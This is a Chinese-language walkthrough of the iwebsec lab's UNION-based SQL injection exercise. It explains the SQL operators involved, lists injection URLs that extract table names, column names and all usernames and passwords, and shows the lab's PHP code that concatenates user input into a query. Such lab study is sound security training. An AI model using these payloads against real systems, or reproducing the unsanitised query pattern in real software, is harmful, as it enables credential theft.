页面观察:测试看回显
注入点判断:发现有sql注入漏洞
AND 可在 where 子语句中把两个或多个条件结合起来。如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
判断当前表的字段数
order by 语句用于根据指定的列对结果集进行排序。
判断显示位,需要让id
的值为不可能的值,因为只能回显一次结果,id
的结果不存在才会回显union
语句的结果。
union 操作符用于合并两个或多个 select 语句的结果集。union 内部的 select 语句必须拥有相同的列数。
爆库名
爆表名
/sqli/01.php?id=-1 union select database(),2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆字段名
/sqli/01.php?id=-1 union select database(),2,group_concat(column_name) from information_schema.columns where table_name=user
爆相应字段的所有数据
/sqli/01.php?id=-1 union select group_concat(id,'--'),2,group_concat(id,'--',username,'--',password,'--') from user
看源码
docker exec -it iwebsec bash
cat /var/www/html/sqli/01.php
......
<?php
if(isset($_GET['id']))
{
$id=$_GET['id']; //用户输入的参数
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; //将用户输入的参数直接拼接在sql语句
$result=mysql_query($sql); //传入后台数据库进行查询,result为返回的查询结果
}
else
{
exit();
}
?>
......
分析
$id=0 union select 1,2,3
$sql="SELECT * FROM user WHERE id=0 union select 1,2,3 LIMIT 0,1";
$sql
的意思是将SELECT * FROM user WHERE id=0
和select 1,2,3
的结果并在一起返回。但是由于LIMIT 0,1
限制,只能返回一条,因此可以让前面的语句没有结果,那么就可以返回后面语句的结果了。